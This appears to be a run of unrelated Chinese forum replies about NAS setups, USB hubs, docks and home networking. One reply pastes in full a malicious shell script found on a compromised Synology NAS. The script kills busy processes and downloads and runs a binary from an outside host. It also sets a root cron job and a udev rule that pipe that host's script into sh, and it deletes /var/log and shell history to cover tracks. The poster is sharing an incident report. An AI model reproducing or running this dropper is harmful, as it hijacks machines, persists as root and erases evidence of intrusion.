@wsbqdyhm 非默认，后发现密码泄漏，有人一直在扫，更换域名后安静如鸡

在/volume1/@appstore/qBitttorrent 目录下发现 o2PHN18N 文件

@villivateur 原来如此，但是更恐怖了啊

@ysc3839 那-----我观望下是不是弱口令

#!/bin/sh
ARCH=$(uname -m)
FILE=$(head /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8)
if [ ! "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" | awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done)
(ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 80 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1
if [ "$ARCH" = "x86_64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk https://files.synotech.studio/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/1) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 15
if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
break
fi
done
elif [ "$ARCH" = "aarch64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk https://files.synotech.studio/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" https://files.synotech.studio/2) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 15
if [ "$(grep -c ":5B25" /proc/net/tcp)" -gt 0 ]; then
break
fi
done
else
exit 1
fi
fi
(if sudo -n true; then find /etc/cron.d -type f -exec rm -rf {} \; ; elif [ "$(id -u)" -eq 0 ]; then find /etc/cron.d -type f -exec rm -rf {} \; ; fi) >/dev/null 2>&1
(if sudo -n true; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | sudo tee /etc/cron.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | tee /etc/cron.d/mdadm; fi) >/dev/null 2>&1
UDEV='SUBSYSTEM=="net", KERNEL!="lo", RUN+="echo 0 0 \* \* \* root sh -c "\"(curl -sk https://files.synotech.studio || wget --no-check-certificate -qO - https://files.synotech.studio) | sh"\" | (sudo tee /etc/cron.d/mdadm || tee /etc/cron.d/mdadm)"'
(if sudo -n true; then echo $UDEV | sudo tee /etc/udev/rules.d/mdadm; elif [ "$(id -u)" -eq 0 ]; then echo $UDEV | tee /etc/udev/rules.d/mdadm; fi) >/dev/null 2>&1
(if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1
(rm $HOME/.bash_history) >/dev/null 2>&1
(history -c) >/dev/null 2>&1

@k9982874 群晖矿神 5.0.3 的包，已更换 docker

@dier 内网 192 访问

@yousabuk 内网 940+，因为人在墙外并不需要代理，同城 vps 的 iperf3 差不多 500 ～ 600 。内网速度是没有问题的，问题还是在于响应比较慢。

@DarinJi emmm 在日，直接买的

刚买，超级热，1200 日亚入手，一根线搞定一切真的很不错，比起之前的 typec 扩展坞不知道好到哪里去了

ok 这个问题在雷电设备非常常见，其实是鼠标的采样率过高导致的

@kokutou 牛逼

@JimmyLX 无法替换，因为电源输入端只有两口

这个问题挺普遍的，我有俩 hub ，都是 8153 ，loffee 的是 30 版本，可以 dhcp 获取 ip ，飞利浦的也是 30 版本，但是经常无法获取 ip 。另外我发现，插着 hub 开电脑会导致网卡无法初始化，一定要重新拔插才能正常使用，到底是什么原因导致的无法 dhcp 我至今也没有得到结果

先别急吧，除非万不得已

@BingoXuan 但是很诡异的是，我用 hub 单独一个扩展口出来依旧会断，是整个 usb 总线的带宽满了吗

exfat 磁盘在 10.15 后有很大概率非要跑一次 fsck 才给你用，我人都麻了

@zro 看来来年要换联通了

@L0lita 群晖 ddns 和阿里 ddns 同时指向 nas，这个按理来说不会同时跪了吧